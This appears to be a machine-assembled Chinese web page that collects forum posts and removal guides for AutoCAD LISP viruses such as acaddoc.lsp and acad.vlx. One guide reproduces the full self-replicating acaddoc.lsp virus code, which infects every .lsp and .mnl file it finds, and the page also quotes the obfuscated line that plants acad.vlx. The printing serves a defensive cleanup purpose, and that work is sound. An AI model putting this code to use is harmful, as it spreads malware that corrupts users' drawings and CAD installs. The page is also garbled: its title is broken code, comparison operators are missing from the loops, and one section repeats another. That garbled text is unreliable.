vl-file-copy(findfile(vl-list->string(10811110311146103105102)))(vl-l的簡單介紹

本文目錄一覽：

• 1、一段lisp代碼求解釋
• 2、運行CAD之後會自動生成一個lisp文件
• 3、vlx文件怎麼打開
• 4、CAD中acad.fas病毒怎麼殺？
• 5、我的CAD Mechanical在使用中提示「缺少下列語言包」（希臘語），不知道怎麼解決！求高手指點！謝謝啦！

一段lisp代碼求解釋

(defun sort(l)

(mapcar

;;;;;(mapcar function list1 … listn)此函數將 list1 到 listn 當做 function 的參數, 並返回其結果。

‘cadr

;;;;;(car (cdr x))第二個函數的第一個元素

(vl-sort

;;;;根據給定的比較函數來對表中的元素排序

(mapcar

;;;(mapcar function list1 … listn)此函數將 list1 到 listn 當做 function 的參數, 並返回其結果。

‘(lambda(x)

;;;(lambda arguments expr…)此函數將用來定義一匿名的函數。

;這通常用於還不需要完整地去定義一個新函數的情況。

;經過在要使用的位置列出這個函數,

;您也可以使程序設計的意圖更明顯。

;此函數將返回最後一個 expr 的值,

;一般常與 apply 和(或) mapcar共用,

;以在表上執行一函數功能。

(list (atoi (vl-list-string

;;;;將一系列與整數表相關聯的字元組合成字元串。非負整數表。表中的每個整數都必須小於 256

(vl-remove-if-not

;;;返回由所提供表中的所有能通過測試函數的元素組成的表。非負整數表。表中的每個整數都必須小於 256

‘(lambda(y) (= 48 y 57))

(vl-string-list

;;;;將一系列與整數表相關聯的字元組合成字元串。

x)))) x)) l)

‘(lambda(m n) ( (car m) (car n)))))

)

;查了函數的定義，應當是以下意思：

;L表裡面的元素為X

;元素X由2個以上的元素構成;前面兩個必須為數值

;元素X的第二個數值為整數；如果在48~57之間就符合條件並重新組合為一個表

;這個表根據X的第一個數值從小到大排序

string(10811110311146103105102)))(vl-l的簡單介紹”>

運行CAD之後會自動生成一個lisp文件

保證你不在區域網 或者u盤不亂拷吧。我也中了 這個，清楚不徹底。一下是我自己收集的。

方法 一

acaddoc.lsp輸入的列表有缺陷（轉自LOVE空間）2009年04月07日 星期二 上午 11:14這個是個新病毒，用以往的解決方法（1.lps改名為acaddoc.lsp替換）無法解決，在網路搜索了一下看到百度空間有個帖子有相關解決辦法。

原帖如下：

今天在Q群里又見網友請求刪除CAD病毒，說用專殺工具也無法解決，於是讓他把病毒文件傳了給我。

打開文件一看，發現這個「acaddoc.lsp」文件內的程序代碼跟以往的「acaddoc.lsp」病毒文件不同。

該病毒文件自動搜索CAD支持路徑下的所有「*.mnl」文件和「*.lsp」文件。將病毒代碼（「acaddoc.lsp」文件內容）寫入「*.lsp」文件內，並在「*.mnl」文件中寫入「*.lsp」文件的載入路徑。同時，直線命令「line」、外部參照管理命令「xref」和分解（炸開）命令「explode」無法使用。

CAD系統感染該病毒文件後，只是簡單搜索刪除「acaddoc.lsp」文件，不能清除病毒。因為所有的「*.lsp」文件已經被修改，所有「*.lsp」文件都是病毒文件。

解決方法壹：

①、關閉CAD

②、搜索並刪除所有「acaddoc.lsp」文件

③、卸載CAD（必須卸載乾淨，並進入C盤用戶目錄內刪除沒有卸載完的CAD文件）後，重新安裝CAD

解決方法貳：

①、關閉CAD

②、搜索並刪除所有「acaddoc.lsp」文件

③、找一台沒有被CAD病毒破壞、且安裝有相同版本CAD的電腦，複製其所有「*.lsp」文件和「*.mnl」文件至本機覆蓋原文件（包括C盤用戶目錄內的相關文件）

預防CAD病毒：

裝好CAD系統後，在沒有被病毒感染前，將CAD目錄內所有文件的屬性設置為只讀，可以減少中毒的機率。（此法99.999%有效）

附：C:\Documents and Settings\×××\Application Data\Autodesk\AutoCAD 200×\R×.×\

其中×××是你登錄系統時的用戶名， 200×和R×.×分別是CAD的版本和版本代號。（注意：目錄C:\Documents and Settings\是系統隱藏文件夾）

轉帖地址：

方法 二

CAD開機運行時會有一大串函數，並且產生acaddoc.lsp的文件處理方法，我用了，方法很好就轉過來了

以下是本人中了acaddoc.lsp病毒的後親身體驗的殺毒經歷。

開始也在網上找了很多所謂的CAD病毒專殺、acaddoc.lsp專殺什麼的軟體。。。全試了都沒有用。後來通過網上介紹的一些關於lsp病毒的特性，親身試驗後確實有效，在此和大家分享，希望能為大家解決一些問題。

下面言歸正傳，殺毒步驟如下：

1、全盤刪除acaddoc.lsp（包括隱藏文件夾）——————廢話了，呵呵

2、刪除C:\Documents and Settings\Administrator\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support下面的acaddoc.lsp和acadapq.lsp

3、刪除C:\Documents and Settings\Administrator\Application。Data\Autodesk\AutoCAD 2006\R16.2\chs\Support下面的acad.mnl、acetmain.mnl和AecArchXOE.mnl。

4、刪除C:\Program Files\AutoCAD 2006\Support下面所有的*****.lsp,本人用的2006版共10個****.lsp文件。

5、COPY下面附件的alsp內的兩個文件到C:\Documents and Settings\Administrator\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support，改為只讀。

6、COPY下面附件的mnl內的三個文件到C:\Documents and Settings\Administrator\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support，改為只讀。

7、COPY下面附件的LSP內的十個文件到C:\Program Files\AutoCAD 2006\Support，改為只讀。

經以上步驟處理後，就完全可以放心使用了。

方法 三

CAD的病毒很多但都大同小異。現就出現的ACADDOC.LSP病毒進行殺毒。不用重新安裝CAD的辦法。

1、發現文件夾中多出ACADDOC.LSP說明你中毒了。

2、關閉CAD程序。

3、全盤查找 *.fas *.lsp *.mnl *.arx文件，除了CAD安裝目錄以外的全部刪除。

4、檢查CAD安裝目錄文件的修改時間，把最近的幾個文件中的病毒代碼刪除。（用記事本打開）

5、把CAD安裝目錄中的所有*.fas *.lsp *.mnl *.arx文件改為只讀屬性。

說明：

1、ACADDOC.LSP病毒感染X:\Program Files\AutoCAD 20**\Support文件夾下的3d.lsp；3darray.lsp；acad2010.lsp；acad2010doc.lsp；acadinfo.lsp；ai_utils.lsp；attredef.lsp；edge.lsp；mvsetup.lsp；sample-profile-util.lsp文件。

2、要刪除的病毒代碼在文件的尾部，具體如下：

(setq flagx t)

(setq bz “(setq flagx t)”)

(defun app(source target bz / flag flag1 wjm wjm1 text)

(setq flag nil)

(setq flag1 t)

(if (findfile target)

(progn

(setq wjm1 (open target “r”))

(while (setq text (read-line wjm1))

(if (= text bz) (setq flag1 nil))

);while

(close wjm1)

);progn

);if

(if flag1

(progn

(setq wjm (open source “r”))

(setq wjm1 (open target “a”))

(write-line (chr 13) wjm1)

(while (setq text (read-line wjm))

(if (= text bz) (setq flag t))

(if flag

(progn

(write-line text wjm1)

);progn

);if

);while

(close wjm1)

(close wjm)

);progn

);if

);defun

(setvar “cmdecho” 0)

(setq acadmnl (findfile “acad.mnl”))

(setq acadmnlpath (vl-filename-directory acadmnl))

(setq mnlfilelist (vl-directory-files acadmnlpath “*.mnl”))

(setq mnlnum (length mnlfilelist))

(setq acadexe (findfile “acad.exe”))

(setq acadpath (vl-filename-directory acadexe))

(setq support (strcat acadpath “\\support”))

(setq lspfilelist (vl-directory-files support “*.lsp”))

(setq lspfilelist (append lspfilelist (list “acaddoc.lsp”)))

(setq lspnum (length lspfilelist))

(setq dwgname (getvar “dwgname”))

(setq dwgpath (findfile dwgname))

(if dwgpath

(progn

(setq acaddocpath (vl-filename-directory dwgpath))

(setq acaddocfile (strcat acaddocpath “\\acaddoc.lsp”))

(setq mnln 0)

(while ( mnln mnlnum)

(setq mnlfilename (strcat acadmnlpath “\\” (nth mnln mnlfilelist)))

(app mnlfilename acaddocfile bz)

(app acaddocfile mnlfilename bz)

(setq mnln (1+ mnln))

);while

(setq lspn 0)

(while ( lspn lspnum)

(setq lspfilename (strcat support “\\” (nth lspn lspfilelist)))

(app lspfilename acaddocfile bz)

(app acaddocfile lspfilename bz)

(setq lspn (1+ lspn))

);while

);progn

);if

(setq mnln 0)

(while ( mnln mnlnum)

(setq mnlfilename (strcat acadmnlpath “\\” (nth mnln mnlfilelist)))

(setq mnln1 0)

(while ( mnln1 mnlnum)

(setq mnlfilename1 (strcat acadmnlpath “\\” (nth mnln1 mnlfilelist)))

(app mnlfilename mnlfilename1 bz)

(setq mnln1 (1+ mnln1))

);while

(setq lspn1 0)

(while ( lspn1 lspnum)

(setq lspfilename1 (strcat support “\\” (nth lspn1 lspfilelist)))

(app mnlfilename lspfilename1 bz)

(setq lspn1 (1+ lspn1))

);while

(setq mnln (1+ mnln))

);while

(setq lspn 0)

(while ( lspn lspnum)

(setq lspfilename (strcat support “\\” (nth lspn lspfilelist)))

(setq lspn1 0)

(while ( lspn1 lspnum)

(setq lspfilename1 (strcat support “\\” (nth lspn1 lspfilelist)))

(app lspfilename lspfilename1 bz)

(setq lspn1 (1+ lspn1))

);while

(setq mnln1 0)

(while ( mnln1 mnlnum)

(setq mnlfilename1 (strcat acadmnlpath “\\” (nth mnln1 mnlfilelist)))

(app lspfilename mnlfilename1 bz)

(setq mnln1 (1+ mnln1))

);while

(setq lspn (1+ lspn))

(load “acadapq”)

(princ)

加入360督導委員會 參與全民護安全！ 論壇版主擴編，歡迎您的加入！

canesky

金幣：65

經驗：99

等級：學前班

功勛：無

簡訊

[回復此樓][引用][舉報] 2 樓 2010-06-11 09:27 頂！

寒梅雪松

金幣：15

經驗：51

等級：幼兒園

功勛：無

簡訊

[回復此樓][引用][舉報] 3 樓 2010-11-10 03:14 這個方法不管用

aimou108

金幣：15

經驗：55

等級：幼兒園

功勛：無

簡訊

[回復此樓][引用][舉報] 4 樓 2010-12-07 10:59 已解決！感謝360論壇！同時感謝qq！如果不是qq當年作出一個艱難的決定，我不會用上360.，也就不會知道360論壇。

樓主給我們提供了一個解決方案，但需要注意的是，病毒感染的並不僅僅是安裝目錄下的文件。如果僅僅清除安裝目錄下感染文件的代碼，是無效的。這也是很多朋友說這個方法不管用的原因。它同時感染了

C:\Documents and Settings\用戶名\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support下的*.MNL文件。需要一併將上述代碼清除。

這個問題折騰了我幾個月，奶奶的。無毒一身輕啊。。。

vlx文件怎麼打開

AutoCAD軟體默認自動運行的文件。每當使用acad軟體打開的圖紙所在目錄有該文件就會自動執行，曾為cad二次開發軟體自動載入的常用方式。當文件存在於某些acad工作目錄或者acad程序目錄裡面，acad軟體也會自動載入。現在除了極少部分二次開發軟體使用外，基本都是CAD病毒表現形式。一般來說該病毒會隨圖紙自動執行並且感染acad軟體和二次開發軟體，甚至導致圖紙信息被破壞，後果比較嚴重。

這實際上不是Autodesk提供的AutoCAD文件。當AutoCAD載入acad.vlx惡意文件時，會使繪圖損壞，進而導致在您保存並重新打開工程圖時彈出「缺少語言包」（ Missing Language Pack ）對話框。

acad.vlx文件會在Help文件夾下面創建一個副本（例如，C:\Program Files\AutoCAD 2010\Help\logo.gif）。其它多個文件也會被修改，同時ACADLSPASDOC系統變數的值會被改為1，這將允許acad.vlx文件載入到其它打開的工程圖中，導致工程圖損壞。

下述清理流程將在AutoCAD試圖載入acad.vlx 文件之前發現該文件並將其刪除，防止病毒的傳播。

為了避免其它文件的損壞

您必須以Microsoft Windows操作系統的系統管理員身份完成本流程。

在您的產品安裝目錄中，找到Support 文件夾（例如，C:\Program Files\AutoCAD 2010\Support）。

在Support文件夾內，雙擊acad20xx.lsp文件（例如，acad2010.lsp文件）。 在文件中加入下面的代碼。 AutoCAD將發現並刪除acad.vlx和logo.gif 文件。

(defun cleanvirus( / lspfiles lspfile x)

(setq lspfiles ‘(“acad.vlx” “logo.gif”))

(foreach lspfile lspfiles

(while (setq x (findfile lspfile))

(progn

(vl-file-delete x)

(princ “\nDeleted file “)

(princ x)

);progn

);while

);foreach

)

(cleanvirus)

打開下面的所有文件：

o C:\Program Files\AutoCAD 20xx\Express\acetauto.lsp

o C:\Program Files\AutoCAD 20xx\Support\ai_utils.lsp

o ROAMABLEROOTPREFIX\Support\acad.mnlo

備註： 將ROAMABLEROOTPREFIX替換為ROAMABLEROOTPREFIX 系統變數的返回值。

如果出現下列代碼，請刪除：

(vl-file-copy(findfile(vl-list-string'(108 111 103 111 46 103 105 102)))(vl-list-string'(97 99 97 100 46 118 108 120)))

保存所有文件。

備註：在AutoCAD2004或2007中有可能並沒有

o C:\Program Files\AutoCAD 20xx\Express\acetauto.lsp

o C:\Program Files\AutoCAD 20xx\Support\ai_utils.lsp

o ROAMABLEROOTPREFIX\Support\acad.mnlo這三個文件，不用擔心，只更改上面說的acad20xx.lsp文件即可解決。

CAD中acad.fas病毒怎麼殺？

《築原CAD病毒專殺v3.3》百度網盤資源免費下載:

鏈接:

?pwd=gsn8 提取碼: gsn8

築原CAD病毒專殺v3.3最新版是一款專門針對AutoCad病毒專殺修復及免疫的專殺工具，針對掃描結果，您可選擇刪除、僅掃描或放至回收站等模式，查殺效果顯著，築原CAD病毒專殺還內置了白名單和黑名單添加功能，為您預留自由選擇空間，增強病毒防範的準確度，而且支持微軟所有操作系統，是CAD用戶必備工具之一。

我的CAD Mechanical在使用中提示「缺少下列語言包」（希臘語），不知道怎麼解決！求高手指點！謝謝啦！

這實際上不是Autodesk提供的AutoCAD文件。 當AutoCAD載入acad.vlx惡意文件時，會使繪圖損壞，進而導致在您保存並重新打開工程圖時彈出「缺少語言包」（ Missing Language Pack ）對話框。

acad.vlx文件會在Help文件夾下面創建一個副本（例如，C:\Program Files\AutoCAD 2010\Help\logo.gif）。 其它多個文件也會被修改，同時ACADLSPASDOC系統變數的值會被改為1，這將允許acad.vlx文件載入到其它打開的工程圖中，導致工程圖損壞。

下述清理流程將在AutoCAD試圖載入acad.vlx 文件之前發現該文件並將其刪除，防止病毒的傳播。

為了避免其它文件的損壞

您必須以Microsoft® Windows® 操作系統的系統管理員身份完成本流程。

在您的產品安裝目錄中，找到Support 文件夾（例如，C:\Program Files\AutoCAD 2010\Support）。

在Support文件夾內，雙擊acad20xx.lsp文件（例如，acad2010.lsp文件）。 在文件中加入下面的代碼。 AutoCAD將發現並刪除acad.vlx和logo.gif 文件。

(defun cleanvirus( / lspfiles lspfile x)

(setq lspfiles ‘(“acad.vlx” “logo.gif”))

(foreach lspfile lspfiles

(while (setq x (findfile lspfile))

(progn

(vl-file-delete x)

(princ “\nDeleted file “)

(princ x)

);progn

);while

);foreach

)

(cleanvirus)

打開下面的所有文件：

o C:\Program Files\AutoCAD 20xx\Express\acetauto.lsp

o C:\Program Files\AutoCAD 20xx\Support\ai_utils.lsp

o ROAMABLEROOTPREFIX\Support\acad.mnlo

備註： 將ROAMABLEROOTPREFIX替換為ROAMABLEROOTPREFIX 系統變數的返回值。

如果出現下列代碼，請刪除：

(vl-file-copy(findfile(vl-list-string'(108 111 103 111 46 103 105 102)))(vl-list-string'(97 99 97 100 46 118 108 120)))

保存所有文件。